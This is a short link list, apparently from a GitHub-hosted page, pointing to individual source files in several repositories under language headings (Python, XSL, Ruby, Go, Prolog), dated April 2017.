Python * https://github.com/dsandstrom/sublime_user/blob/51130b36961ed6c7ce6cecbb2eb8dc239c7c302e/plugins/add_license_stamp.py

Other: * https://github.com/Daniel-KM/XmlImport/blob/1ee56885ac2e1a7220b9aa0d92401b1dc6e8e1e3/libraries/xsl/generic.xsl * https://github.com/jleck/elasticbeanstalk-nginx-php/blob/bb2afbc6bb7c3c76d8d80d99f2c0cea891b754bc/opt/elasticbeanstalk/srv/hostmanager/lib/elasticbeanstalk/hostmanager/utils/nginxutil.rb * https://github.com/TuneOSS/tune-reporting-go/blob/d474374f00419f26a8aa557a9293b5d15b3f1dec/tune_management/advertiser_test.go * https://github.com/aeflores/CoFloCo/blob/f34aebc87cfe266684418ca034b0b00eafd5ffb3/interfaces/Lisp2ces/lisp_parser.pl * https://github.com/CapelliC/prolog-snippets/blob/be0ee2063fc5747e4c547f7265da1e023a6680b9/when_.pl

Updated 24/04/2017 10:59

Fork me on GitHub